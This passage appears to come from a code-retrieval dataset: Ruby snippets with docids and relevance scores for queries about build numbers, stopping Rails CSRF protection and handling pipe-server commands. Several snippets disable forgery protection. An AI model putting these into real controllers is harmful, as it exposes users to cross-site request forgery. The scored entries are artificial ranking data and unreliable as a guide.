@project.path_to(ivy_xml_filename)\n end", "title": "" }, { "docid": "0b8aa503b024dd231e21fe723ef23c7f", "score": "0.5188401", "text": "def build_number\n return 'development' if build_mode == :development\n return @build_number ||= SC.library.compute_build_number(self)\n end", "title": "" }, { "docid": "cbe0c24540ed33a0a255e313a6a260d4", "score": "0.5171283", "text": "def generate\n @xcconfig = Xcodeproj::Config.new\n XCConfigHelper.add_settings_for_file_accessors_of_target(target, @xcconfig)\n @xcconfig\n end", "title": "" }, { "docid": "7aa668efa4281752b51c2fce34703d19", "score": "0.5168344", "text": "def current_build_number\n return current_build.number\n end", "title": "" }, { "docid": "36f310adf3abb587123609c3e465dc60", "score": "0.5166957", "text": "def build_me\n # Fetch the source\n @fetcher = fetch_me\n\n # Build if we need to\n if always_build?\n execute_build(fetcher)\n else\n if Omnibus::InstallPathCache.new(install_dir, self).restore\n true\n else\n execute_build(fetcher)\n end\n end\n\n project.build_version_dsl.resolve(self)\n true\n end", "title": "" }, { "docid": "b4c5eb68d3970c55e6d169b1de9339c3", "score": "0.516582", "text": "def build_from_file(file)\n dir = File.dirname(file)\n string = IO.read(file)\n build_from_string(string, dir)\n end", "title": "" }, { "docid": "075c0ccebf203a3be365f2a735eddc82", "score": "0.5163241", "text": "def full_build_archive_path\n FilePath.new(build_archive_dir, short_build_archive_path.to_s)\n end", "title": "" }, { "docid": "f86dd8b60e413d2d9cdd2bc0b0b30910", "score": "0.51558775", "text": "def get_main_file(file)\n @file = file\n return file, File.basename(file), File.dirname(file)\n end", "title": "" }, { "docid": "230118af926f09f4a5b7c71509282b8c", "score": "0.51528573", "text": "def build_dir\n File.expand_path(\"#{Config.build_dir}/#{project.name}\")\n end", "title": "" }, { "docid": "7d997003b12834c11328607e24891769", "score": "0.514972", "text": "def default_file\n target.eval(\"__FILE__\") && File.expand_path(target.eval(\"__FILE__\"))\n end", "title": "" }, { "docid": "00f8b93ee2b15e3b750d996fed52cb35", "score": "0.51368254", "text": "def last_build_path\n config.build_cache_dir.join(\"last-build-#{ config.mode }.json\")\n end", "title": "" }, { "docid": "29003aba8df48e9529ee3d0684f73fb4", "score": "0.5136177", "text": "def generate_build_number\n if project.ios?\n self.build_number = Time.now.strftime('%Y%m%d%H%M')\n elsif project.android?\n if environment.current_version_properties.present?\n self.build_number = environment.current_version_properties[:'version.code']\n else\n self.build_number = ''\n end\n end\n self.save\n self.build_number\n end", "title": "" }, { "docid": "f492f7fab03163510116a0dc950a85fc", "score": "0.5133669", "text": "def build\n $stdout.print(\"Fetching #{options().owner}/#{options().name} build ##{options().build_id} ...\\n\\n\")\n if build = API::Client::Repositories.owner(options().owner).name(options().name).build!(options().build_id)\n $stdout.print(build_view_for(build))\n else\n $stdout.print(\"\\033\\[33mCould not find the #{options().owner}/#{options().name} build with ID = #{oprions().build_id}.\\033\\[0m\")\n end\n $stdout.print(\"\\n\")\n end", "title": "" }, { "docid": "6b59510c99026a3a5fe38f65f482c78d", "score": "0.512981", "text": "def os_build\n return @os_build\n end", "title": "" }, { "docid": "4facd3a03a71aa56aea01467de9eade0", "score": "0.5126677", "text": "def build_config\n '.softcover-build'\n end", "title": "" }, { "docid": "c7a02ffb913972dc19e6f3de47aec2a5", "score": "0.51236224", "text": "def build(debug, update_version)\n @package_manager.restore_packages\n build_version = @solution.build_version\n @solution.update_projects_version(build_version) if update_version\n @build_tool.build(@solution.file, debug)\n end", "title": "" }, { "docid": "b6ffe45fed7753a7772c07b4bdcbfdce", "score": "0.5110609", "text": "def current_build_version; end", "title": "" }, { "docid": "637aef85ad9fdc8e6a865722b835f8e2", "score": "0.5109791", "text": "def filename\n @filename ||= File.join(build_target_dir, \"#{revision_name}.#{compression.extension}\")\n end", "title": "" }, { "docid": "f33efb0be9c970e0b708ca8ac108882f", "score": "0.51094353", "text": "def build\n clean unless @configuration.skip_clean\n\n # update the long version number with the date\n @configuration.timestamp_plist if @configuration.timestamp_build\n\n print \"Building Project...\"\n success = xcodebuild @configuration.build_arguments, \"build\"\n raise \"** BUILD FAILED **\" unless success\n puts \"Done\"\n end", "title": "" }, { "docid": "f33efb0be9c970e0b708ca8ac108882f", "score": "0.51094353", "text": "def build\n clean unless @configuration.skip_clean\n\n # update the long version number with the date\n @configuration.timestamp_plist if @configuration.timestamp_build\n\n print \"Building Project...\"\n success = xcodebuild @configuration.build_arguments, \"build\"\n raise \"** BUILD FAILED **\" unless success\n puts \"Done\"\n end", "title": "" }, { "docid": "752e80444fbc7c0b4a5dca51e2d175f3", "score": "0.51030487", "text": "def build\n create_build_dir\n\n stage_module_in_build_dir\n build_package\n\n package_file\n ensure\n cleanup_build_dir\n end", "title": "" } ]
79cbb8a5ad138f90d13d28805998b580
stop rails CSRF protection for this action
[ { "docid": "f71accab9bc20c4fb6d36ea33c0b774f", "score": "0.0", "text": "def auth\n \n Pusher['presence-test-channel'].trigger('newPlayer', {:from => \"new name\", :subject => \"new subject\"})\n \n \n response = Pusher[params[:channel_name]].authenticate(params[:socket_id], {\n :user_id => 12, # => required\n :user_info => {\n :name => \"Robert\",\n :email => \"rkm_email@yahoo.com\"\n }\n })\n render :json => response\n \n Pusher['presence-test-channel'].trigger('count', {:from => \"new name\", :subject => \"new subject\"})\n end", "title": "" } ]
[ { "docid": "487129826d80e80d3e54f19210e585f8", "score": "0.77760774", "text": "def disable_request_forgery_protection; end", "title": "" }, { "docid": "26b410a9f0ecdf5041102a3671861b45", "score": "0.76563007", "text": "def disable_request_forgery_protection=(_arg0); end", "title": "" }, { "docid": "162cc60628ab8ef6de5b7a775c26b3cd", "score": "0.7332915", "text": "def clean_up_csrf?; end", "title": "" }, { "docid": "162cc60628ab8ef6de5b7a775c26b3cd", "score": "0.7332915", "text": "def clean_up_csrf?; end", "title": "" }, { "docid": "f418689234b41ca94d0dd1b128ddc796", "score": "0.70371854", "text": "def skip_forgery_protection(options = T.unsafe(nil)); end", "title": "" }, { "docid": "4a0725b3b47d26c6ebc06d13fcbe7bdc", "score": "0.70363104", "text": "def csrf; end", "title": "" }, { "docid": "4c2279f52ed6339a0bf6b4ac97755211", "score": "0.70097077", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "a618d5367ae714d20b241618c8108882", "score": "0.7002428", "text": "def clean_up_csrf?\n false\n end", "title": "" }, { "docid": "93a47c42de53c999a15427e24a730a97", "score": "0.6828669", "text": "def clean_up_csrf?\n true\n end", "title": "" }, { "docid": "93a47c42de53c999a15427e24a730a97", "score": "0.6828669", "text": "def clean_up_csrf?\n true\n end", "title": "" }, { "docid": "1fa4979aaeca6d8e9cba04970342eb8d", "score": "0.6679377", "text": "def handle_unverified_request\n logger.warn \" Form token: #{params[request_forgery_protection_token]}\" if logger\n logger.warn \" Header token: #{request.headers['X-CSRF-Token']}\" if logger\n logger.warn \" Session token: #{session[:_csrf_token]}\" if logger\n super\n end", "title": "" }, { "docid": "fae9a6f1bccc3be13f3008cd7e4319f8", "score": "0.66760176", "text": "def allow_forgery_protection\n true\n end", "title": "" }, { "docid": "00b3c9350e39eb7ed2562ecc04c59f93", "score": "0.66671306", "text": "def check_csrf\n rails_check_csrf!\n end", "title": "" }, { "docid": "fe697d8a1a507e23997fb1222df48ee6", "score": "0.6602603", "text": "def protect_against_forgery?; end", "title": "" }, { "docid": "65df573245a945195d7f940f439fa7e0", "score": "0.65869737", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6586769", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "7e4d1bd1bce6d8fe6212598da618aaa4", "score": "0.6585341", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "1abb7b2896bad8b871b5093669846195", "score": "0.6563167", "text": "def protect_against_forgery?\n false\nend", "title": "" }, { "docid": "ee9388261047e8b1a7af3d72438f9727", "score": "0.6554581", "text": "def check_csrf\n rails_check_csrf!\n end", "title": "" }, { "docid": "c7be89c722e0ca6fa4df4d7b731922d7", "score": "0.6517291", "text": "def protect_from_forgery\n end", "title": "" }, { "docid": "427f54406605d6140f5bfc5760817238", "score": "0.65147364", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "427f54406605d6140f5bfc5760817238", "score": "0.65147364", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "c7087177a7fa0669915db842361ce9c6", "score": "0.6503778", "text": "def protect_against_forgery?\n false\n end", "title": "" }, { "docid": "d7ffce47ff04aee202d6a80dd1f2fd8f", "score": "0.64916825", "text": "def invalid_authenticity_request\n sign_out(current_user)\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n render error: 'invalid token', status: :unprocessable_entity\n end", "title": "" }, { "docid": "4a8e6b1a34cbb0d0b596a6b33164445b", "score": "0.64588773", "text": "def csrf_tag(*)\n rails_csrf_tag\n end", "title": "" }, { "docid": "a1d5d7a56b70df76c0598a21169c399c", "score": "0.645295", "text": "def rails_check_csrf!\n rails_controller_instance.send(:verify_authenticity_token)\n end", "title": "" }, { "docid": "792bfa7a6afe43512325e4e69be6e10b", "score": "0.64050776", "text": "def csrf_protection(enabled)\n return unless enabled\n condition do\n if request.env['protection.csrf.failed']\n message = settings.protect_from_csrf.kind_of?(Hash) && settings.protect_from_csrf[:message] || 'Forbidden'\n halt(403, message)\n end\n end\n end", "title": "" }, { "docid": "52d65ebc2d6f54f4d4caf00c4ea14f5c", "score": "0.64013356", "text": "def protect_against_forgery? #:nodoc:\n false\n end", "title": "" }, { "docid": "4554b5f374d592bbbb83ddbeaf7315a5", "score": "0.6376676", "text": "def rails_check_csrf!\n rails_controller_instance.send(:verify_authenticity_token)\n end", "title": "" }, { "docid": "76b0d2288e0d2ccac512255f4a679f00", "score": "0.6353472", "text": "def csrf_tag(*)\n rails_csrf_tag\n end", "title": "" }, { "docid": "487e12559a5c1ac1329ad5a5152e9b58", "score": "0.631185", "text": "def check_csrf?\n true\n end", "title": "" }, { "docid": "9d35072ddb7e8a0e4933bd2698b17131", "score": "0.62972975", "text": "def rails_csrf_param\n rails_controller.request_forgery_protection_token\n end", "title": "" }, { "docid": "6001dff362e233e5c531ffd625060ac5", "score": "0.6259198", "text": "def verify_csrf_token?\n false\n end", "title": "" }, { "docid": "d4fe1206d3ec52cb23e67d00e6412aea", "score": "0.6257371", "text": "def check_csrf?\n true\n end", "title": "" }, { "docid": "5945afa95c77699f9b527a143653158f", "score": "0.62549573", "text": "def rails_csrf_param\n rails_controller.request_forgery_protection_token\n end", "title": "" }, { "docid": "d9f78c11fd99bb3ea16abc76fb424d46", "score": "0.6249709", "text": "def rails_csrf_token\n rails_controller_instance.send(:form_authenticity_token)\n end", "title": "" }, { "docid": "975613ec934a75dcbfd3280790eeddad", "score": "0.6242412", "text": "def protect_against_forgery?\n controller.send(:protect_against_forgery?)\n end", "title": "" }, { "docid": "03819012905f2fe769eef60fe36fea58", "score": "0.6227452", "text": "def discard_flash_if_xhr\n flash.discard if request.xhr?\n end", "title": "" }, { "docid": "9724d68cf3997feaad1fd7d8d5207f76", "score": "0.6193134", "text": "def discard_flash_if_xhr\n flash.discard if request.xhr?\n end", "title": "" }, { "docid": "0217b138f2cc0a59404d8ee923523070", "score": "0.6189654", "text": "def ignore_request_unless_permitted\n return if permitted?\n flash_notice(:permission_denied.t)\n redirect_to(action: \"index_article\") and return\n end", "title": "" }, { "docid": "ee23ab1be2b9689da7541cce56abd68b", "score": "0.6169824", "text": "def csrf_meta_tags; end", "title": "" }, { "docid": "73733958adac10861b17694f87abb9f9", "score": "0.6160783", "text": "def handle_unverified_request\n if Rails.env.production?\n reset_session\n else\n raise ActionController::InvalidAuthenticityToken\n end\n end", "title": "" }, { "docid": "a863a9589a0ff910ca6fdcc0f316ce2e", "score": "0.6159431", "text": "def use_null_session\n ActionController::RequestForgeryProtection::ProtectionMethods::NullSession.new(self)\n .handle_unverified_request\n end", "title": "" }, { "docid": "7cad7ab35ed6d848684619d2521b7553", "score": "0.6151884", "text": "def csrf_token\n session[:csrf] ||= SecureRandom.hex 32\n end", "title": "" }, { "docid": "2434e116d0c59f5a7549b639dd4c5538", "score": "0.6142351", "text": "def rails_controller_callbacks\n # don't verify CSRF token as part of callbacks, Rodauth will do that\n rails_controller_forgery_protection { false }\n\n rails_controller_instance.run_callbacks(:process_action) do\n # turn the setting back to default so that form tags generate CSRF tags\n rails_controller_forgery_protection { rails_controller.allow_forgery_protection }\n\n yield\n end\n end", "title": "" }, { "docid": "c707fc45c3dd2a1c238e27aab8c7e2fa", "score": "0.61385983", "text": "def rails_csrf_token\n rails_controller_instance.send(:form_authenticity_token)\n end", "title": "" }, { "docid": "a573ccc9950264271e15e720d5f7936a", "score": "0.61360794", "text": "def rails_csrf_tag\n %(<input type=\"hidden\" name=\"#{rails_csrf_param}\" value=\"#{rails_csrf_token}\">)\n end", "title": "" }, { "docid": "d28da58631fa828fe19a486437dc04c5", "score": "0.6119384", "text": "def protect_against_forgery?\n end", "title": "" }, { "docid": "c3b9ef76ccc37edb922730f932d750c1", "score": "0.60977495", "text": "def deny_access\n if request.xhr?\n if !flash[:ajax_error].blank?\n render text: flash[:ajax_error] \n else\n render text: \"You do not have sufficient permissions to perform this action.\"\n end\n else\n flash[:error] = \"You do not have sufficient permissions to perform this action.\"\n redirect_to :back\n end\n rescue\n redirect_to root_path\n end", "title": "" }, { "docid": "5d3d597734592f47888d4a54f8e74d99", "score": "0.60951084", "text": "def access_only_for_ajax\r\n unless request.xhr?\r\n render :text => \"Here is an Ajax Service, regular request without security token are denied.\"\r\n return false\r\n end\r\n end", "title": "" }, { "docid": "179f8d32b9db28ca0ead721847108f7e", "score": "0.6095051", "text": "def submitted_csrf_token\n request.env['HTTP_X_CSRF_TOKEN'] || params['csrf_token']\n end", "title": "" }, { "docid": "8874a00c09aa91921b23b65ebbeb8ae2", "score": "0.6090001", "text": "def csrf=(_arg0); end", "title": "" }, { "docid": "1eda9e06a5f4fcb174893eb7b9d34e95", "score": "0.60590816", "text": "def no_ajax # :nologin: :norobots:\n end", "title": "" }, { "docid": "ac2468f4355a44b1bb6c242edb8826db", "score": "0.60472584", "text": "def protect_against_forgery?\n\n end", "title": "" }, { "docid": "5aeb525246a2f3a9cab7d2c8b782edf9", "score": "0.6044048", "text": "def rails_csrf_tag\n %(<input type=\"hidden\" name=\"#{rails_csrf_param}\" value=\"#{rails_csrf_token}\">)\n end", "title": "" }, { "docid": "2ae3ea268e90ede5e83114bb546809ac", "score": "0.60310125", "text": "def respond_with_csrf_header\n # Only return the authenticity token to approved origins.\n return unless request.headers['HTTP_ORIGIN'] && origin_is_whitelisted?\n # Only return the authenticity token for JSON requests to approved API actions\n if(API_ACTIONS.include?(action_name) && formats.include?(:json))\n response.headers['X-CSRF-Token'] = form_authenticity_token\n end\n end", "title": "" }, { "docid": "03ab43c367e87fdb4fdeb818a54363c0", "score": "0.60092974", "text": "def handle_unverified_request\n \n # By default this method raises ActionController::InvalidAuthenticityToken\n #redirect_to root_url\n end", "title": "" }, { "docid": "969d31a3e3694e96d096369a883ed3eb", "score": "0.6009186", "text": "def verify_csrf_token?(req, *)\n !IDEMPOTENT_HTTP_METHODS[req.request_method]\n end", "title": "" }, { "docid": "68124973acd3d80ee351f3449560e997", "score": "0.60087466", "text": "def index\n @csrfattacks = Csrfattack.all\n end", "title": "" }, { "docid": "d927119ad4875c3c9e352fab2669ee93", "score": "0.6007317", "text": "def set_csrfattack\n @csrfattack = Csrfattack.find(params[:id])\n end", "title": "" }, { "docid": "22e98d0b83b2a550b70d7c44717ba9ec", "score": "0.5998084", "text": "def handle_unverified_request\n super\n render :text => \"Forgery protection token was not present.\", :status => :unauthorized\n end", "title": "" }, { "docid": "87a353c40908fd1489fab326648852c8", "score": "0.59921104", "text": "def handle_unverified_request\n super\n cookies.delete(:autologin)\n end", "title": "" }, { "docid": "7a15e8cf9a6a6dd109d426a3c545ad6b", "score": "0.5974407", "text": "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "title": "" }, { "docid": "7a15e8cf9a6a6dd109d426a3c545ad6b", "score": "0.5974407", "text": "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "title": "" }, { "docid": "7a15e8cf9a6a6dd109d426a3c545ad6b", "score": "0.5974407", "text": "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "title": "" }, { "docid": "04363d7fc4aced1f080c035ccc2d06f6", "score": "0.5960081", "text": "def csrf_meta_tags\n respond_to do |format|\n format.html { render :layout => false }\n format.js\n end\n end", "title": "" }, { "docid": "e1e2dd31031be43154de09f044bda681", "score": "0.59578633", "text": "def auth_csrf_token\n request.env['HTTP_X_AUTH_CSRF']\n end", "title": "" }, { "docid": "c7c7ead54db84c7789fd00d3e4aa4250", "score": "0.59370226", "text": "def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end", "title": "" }, { "docid": "c7c7ead54db84c7789fd00d3e4aa4250", "score": "0.59370226", "text": "def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end", "title": "" }, { "docid": "2fdf5cb3c902df9de1dba20e03e43fa5", "score": "0.59335786", "text": "def set_xhr_flash\n flash.discard if request.xhr?\n end", "title": "" }, { "docid": "7992a505477729d669cc843da4ef1dba", "score": "0.5930063", "text": "def skip_session\n request.session_options[:skip] = true if token\n end", "title": "" }, { "docid": "495a52016e942df64c22996d870a608c", "score": "0.59236956", "text": "def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end", "title": "" }, { "docid": "8df10830c56341912e3dc91810f95661", "score": "0.5915775", "text": "def prevent\n js false\n render :inline => 'Main#prevent', :layout => 'application'\n end", "title": "" }, { "docid": "707339921fef890105bb29a583c0de13", "score": "0.5876781", "text": "def invalid_csrf_token?(req, res)\n return false unless verify_csrf_token?(req, res)\n\n missing_csrf_token?(req, res) ||\n !::Rack::Utils.secure_compare(req.session[CSRF_TOKEN], req.params[CSRF_TOKEN])\n end", "title": "" }, { "docid": "93f7a91d05e9c966a0e3b28d96873c83", "score": "0.5876025", "text": "def invalid_csrf(exception)\n ErrorTracker.report_exception(exception, current_user, {request_url: request.url, params: params})\n @alert = \"We're sorry, but the change you wanted was rejected by the server.\"\n respond_to do |format|\n format.html {render template: '/layouts/422', status: 422}\n format.js {render template: '/layouts/session_expired', status: 422}\n format.json {render json: {error: @alert}, status: 422}\n end\n end", "title": "" }, { "docid": "8acd2dc23c35856e6cd453ab3f1e8320", "score": "0.5868834", "text": "def handle_unverified_request\n js = session[ :javascript ]\n reset_session()\n session[ :javascript ] = js\n end", "title": "" }, { "docid": "9a89e44421f2195db5bb7689e3b2ba39", "score": "0.5865713", "text": "def csrf_token\n env[\"rack.session\"].fetch(:csrf)\nend", "title": "" }, { "docid": "dc79960cdf00574f35bac020612ba422", "score": "0.5855059", "text": "def set_csrf_headers\n response.headers['X-CSRF-Token'] = form_authenticity_token\n end", "title": "" }, { "docid": "bcc996289d965256066dbba48b9beedd", "score": "0.58273345", "text": "def csrf_options\n opts[:route_csrf]\n end", "title": "" }, { "docid": "5a181462de80e598f4c085e4e7f0c681", "score": "0.58075905", "text": "def deny\n @request.remove_from_whitelist\n File.delete(\"#{$config[:'spool-dir']}/#{@request[:sender]}\") rescue true\n end", "title": "" }, { "docid": "a490173c13821c0093345f83f15d9d44", "score": "0.58073324", "text": "def csrf_safe?\n @csrf_safe\n end", "title": "" }, { "docid": "c10502e38ba98bcd72d97a01f5c3c927", "score": "0.5793454", "text": "def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end", "title": "" }, { "docid": "25223ea932f7bf4820a3cba89e01d842", "score": "0.5757197", "text": "def missing_csrf_token?(req, *)\n Hanami::Utils::Blank.blank?(req.params[CSRF_TOKEN])\n end", "title": "" }, { "docid": "536b36748f460ec31c0903ed2492b7fa", "score": "0.57493603", "text": "def set_csrf_token(_req, res)\n res.session[CSRF_TOKEN] ||= generate_csrf_token\n end", "title": "" }, { "docid": "5aa7f0c0157b4f8d8fc1657236171415", "score": "0.5745878", "text": "def invalid_token\n\t\t\tredirect_to login_url\n\t\tend", "title": "" }, { "docid": "a821e7077c39603029ebae52949de11c", "score": "0.5743887", "text": "def skip_session\n request.session_options[:skip] = true if token\n end", "title": "" }, { "docid": "a821e7077c39603029ebae52949de11c", "score": "0.5743887", "text": "def skip_session\n request.session_options[:skip] = true if token\n end", "title": "" }, { "docid": "b861578d429d0ad0d05f4ac70ba0e17c", "score": "0.57416975", "text": "def destroy\n signed_out_user = current_user\n sign_out :user\n session.try(:delete, :_csrf_token)\n # Prevent Token Fixation attacks by generating a new token upon user logout.\n signed_out_user.authentication_token = Devise.friendly_token\n signed_out_user.save\n super\n end", "title": "" }, { "docid": "82a0d344c7cf83d90e4dbc318888f284", "score": "0.57331264", "text": "def handle_unverified_request\n sign_out\n super\n end", "title": "" }, { "docid": "6b2b3cb14c44125ca16526672c2b292b", "score": "0.57313466", "text": "def handle_unverified_request\n sign_out\n super\n end", "title": "" }, { "docid": "d46ba75764999518e15058c64a906b11", "score": "0.572494", "text": "def auth_token\n (protect_against_forgery? ? form_authenticity_token : nil)\n end", "title": "" }, { "docid": "306b64c15797301315da79c936c93c95", "score": "0.5720713", "text": "def skip_authorization; end", "title": "" }, { "docid": "09865d7fabcfff153fff0fde94cea038", "score": "0.5714948", "text": "def masked_authenticity_token(session, form_options: T.unsafe(nil)); end", "title": "" }, { "docid": "d40f2ca8834595418d321425377ad658", "score": "0.5708345", "text": "def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end", "title": "" }, { "docid": "0e397bf64906957e056827650f4295b1", "score": "0.56942105", "text": "def handle_unverified_request\n redirect_to root_url, :notice => \"We detect unmatching token form your form, please do not hack us\"\n \n end", "title": "" }, { "docid": "ef1f67a7bd1190be856dd150c753159a", "score": "0.5684951", "text": "def clear_request_token\n @request_token = nil\n end", "title": "" } ]
7ba468401fb5a3fb6fa9218f5cda3ba0
Public: Process a command however it needs to be handled. pipe_server The pipe server we're working with command The command we need to parse and handle
[ { "docid": "11067315392eec84fcea9c4b26e9b936", "score": "0.770832", "text": "def process_command(pipe_server, command)\n args = Shellwords.shellwords(command)\n\n # save the command unless we're exiting or repeating the last command\n unless args[0] == \"exit\" || (Readline::HISTORY.length > 0 && Readline::HISTORY[Readline::HISTORY.length - 1] == command)\n Readline::HISTORY << command\n end\n\n if command == \"\"\n # do nothing\n elsif args[0] == \"exit\"\n send_message(pipe_server, :stop)\n return :exit\n elsif args[0] == \"reload\"\n send_message(pipe_server, :stop)\n return :reload\n elsif args[0] == \"help\"\n reporter.help_message\n elsif args[0] == \"!failed\"\n send_message(pipe_server, :run_failed)\n elsif args[0] == \"!timings\"\n send_message(pipe_server, :show_performance, args[1])\n elsif args[0] == \"info\"\n send_message(pipe_server, :run_info)\n elsif args[0] == \"set\"\n send_message(pipe_server, :set, args[1], args[2])\n elsif args[0].start_with?(\".\")\n shell_command(command[1, command.length - 1])\n elsif @config.file_sets.has_key?(args[0])\n send_message(pipe_server, :run_file_set, args[0])\n else\n send_message(pipe_server, :run_all_tests, args)\n end\n\n nil\n end", "title": "" } ]
[ { "docid": "f37ce99031970a2ccb9624067d18962b", "score": "0.63984734", "text": "def pipe_chunk chunk, command\n content = chunk.content\n output = @context.ui.pipe_to_process(command) do |stream|\n stream.write content\n end\n\n handle_pipe_output command, output\n end", "title": "" }, { "docid": "c74f73c462f19ed33f68328c9ff0e3ad", "score": "0.6327025", "text": "def pipe_message message, command\n rawbody = @context.client.raw_message message.message_id\n output = @context.ui.pipe_to_process(command) do |stream|\n stream.write rawbody\n end\n handle_pipe_output command, output\n end", "title": "" }, { "docid": "2214e750bc089c3c0bece5aaa347880c", "score": "0.6235857", "text": "def server_run_loop(pipe_server)\n pipe_server.callee!\n \n if mode == :minitest\n server = MinitestServer.new(config, reporter)\n elsif mode == :rspec\n server = RSpecServer.new(config, reporter)\n else\n reporter.error\n reporter.error(\"The given test mode isn't supported.\")\n reporter.error\n exit\n end\n\n while message = pipe_server.read\n reporter.trace(\"Server Received Message: #{message[:action]}\")\n begin\n result = server.handle(message)\n pipe_server.write(result)\n rescue => e\n reporter.error\n reporter.error(\"An error occured: #{e.message}\")\n reporter.trace_backtrace(e)\n pipe_server.write(nil)\n end\n end\n end", "title": "" }, { "docid": "d4aae0209ca3c4d760257f105ad5b797", "score": "0.61051077", "text": "def send_pipeline_command(command, &block)\n with_command_shell(command) do |shell, cmd|\n response_reader.read_message(command_output_message(shell, cmd), true, &block)\n end\n end", "title": "" }, { "docid": "3740123af0502ba37e4e58d35c4b60ad", "score": "0.60728025", "text": "def command(cmdline)\n @pipe.puts cmdline\n if (line = @pipe.gets.chomp) != cmdline\n raise \"Communication error:\" + \\\n \" expected #{cmdline.inspect},\" + \\\n \" got #{line.inspect}\"\n end\n\n response = ''\n @pipe.puts END_OF_COMMAND\n while line = @pipe.gets\n if line.chomp.end_with?(END_OF_COMMAND)\n response << line.chomp.chomp(END_OF_COMMAND)\n break\n elsif line.chomp == YOU_HAVE_MESSAGES\n # This is noise; ignore it.\n next\n else\n response << line\n end\n end\n\n response\n end", "title": "" }, { "docid": "c4fd35a322868e9753179060ee0768a8", "score": "0.60292554", "text": "def process_command(inp)\n @commands.each do |cmd|\n if inp =~ cmd.command_regexp\n begin\n output = cmd.execute self, $~\n puts output if output\n rescue StandardError => e\n handle_exception e\n end\n break\n end\n end\n end", "title": "" }, { "docid": "0a5c33bf38ccb1d9209ebf7e12940676", "score": "0.59762806", "text": "def spawn_server\n\t\tself.reader, child_writer = IO.pipe\n\t\tchild_reader, self.writer = IO.pipe\n\n\t\tcmd = self.server_start_command\n\t\tself.pid = Process.spawn( *cmd, out: child_writer, in: child_reader, close_others: true )\n\t\tself.log.debug \"Spawned command server at PID %d\" % [ self.pid ]\n\n\t\tchild_writer.close\n\t\tchild_reader.close\n\tend", "title": "" }, { "docid": "e4eeda28239c804bebb5adf6cac966d9", "score": "0.5974886", "text": "def run\n \n if parsed_options?\n \n process_command\n end\n \n end", "title": "" }, { "docid": "1f2a4278d64f40073253e6e9b0c5c47b", "score": "0.5943926", "text": "def process_command(rep)\n\t \t\taddress = rep[:address]\n\n\t \t\tif address==1\n\t \t\t\tqueue = @cmd_queue_1\n\t \t\telse\n\t \t\t\tqueue = @cmd_queue_0\n\t \t\tend\n\n\t \t\tcase rep[:type]\n\t \t\t\twhen 0\n\t \t\t\t\t@log.info \"Command OK\"\n\t \t\t\twhen 1\n\t \t\t\t\t@log.error \"Invalid Command\"\t\n\t \t\t\twhen 2\n\t \t\t\t\t@log.error \"Busy - command ignored\"\t\t\n\t \t\t\twhen 3\n\t \t\t\t\t@log.error \"Can't Process - input out of range or error\"\n\t \t\t\t\t\n\t \t\tend\n\t \t\twrite_command_status(queue)\n\t end", "title": "" }, { "docid": "156f054da64d52ffe018e4533863a88b", "score": "0.5935682", "text": "def process_command command\n\n # The decision maker will validate the command\n # and get rid of the commands that is invalid\n # and make the right order of commands and notify different observers.\n\n # Notify the observers that a new valid command comes.\n command\n end", "title": "" }, { "docid": "4a8e8886270215805186767f5e83137c", "score": "0.5920252", "text": "def process\n command = get_command()\n\n if command\n verify_command(command)\n else\n help\n end\n end", "title": "" }, { "docid": "93ab5d6c81d168363366eda4b61c8c61", "score": "0.588914", "text": "def process_line(line)\n\t\t\t\tline.chomp!\n\t\t\t\tl = line.split(/\\s+/)\n\t\t\t\tcmd = l[0]\n\t\t\t\t# Remember the last table for convenience when typing\n\t\t\t\ttable_id = l[1] ? l[1].to_i : last_table\n\t\t\t\tself.last_table = table_id\n\n\t\t\t\tchannel = cmd\n\n\t\t\t\tresp = nil\n\t\t\t\tbegin\n\t\t\t\t\tresp = case cmd\n\t\t\t\t\t# Check for valid commands\n\t\t\t\t\twhen 'list'\n\t\t\t\t\t\tget_games_list\n\t\t\t\t\twhen 'join'\n\t\t\t\t\t\tname = l[2]\n\t\t\t\t\t\tlobby.add_player_to_game(table_id, name, self)\n\t\t\t\t\twhen /(call|fold|raise)/\n\t\t\t\t\t\tplayer_for(table_id).line_received(cmd[0])\n\t\t\t\t\twhen 'leave'\n\t\t\t\t\t\tremove_player(table_id)\n\t\t\t\t\twhen 'quitall'\n\t\t\t\t\t\tremove_from_all_tables\n\t\t\t\t\telse\n\t\t\t\t\t\tunknown_cmd(cmd)\n\t\t\t\t\tend\n\t\t\t\trescue Exception => e\n\t\t\t\t\tchannel = 'error'\n\t\t\t\t\tresp = create_error(e)\n\t\t\t\t\tputs e.message\n\t\t\t\t\tputs e.backtrace.join(\"\\n\")\n\t\t\t\tend\n\n\t\t\t\tif resp\n\t\t\t\t\t# Write our response. The format is left to the connection class (eg. json, text)\n\t\t\t\t\twrite(resp, channel)\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "3e1b667c763717d81b6e1bb7a4c1e01d", "score": "0.5826558", "text": "def process_cmd(command, input_tokens)\n send command, input_tokens\n end", "title": "" }, { "docid": 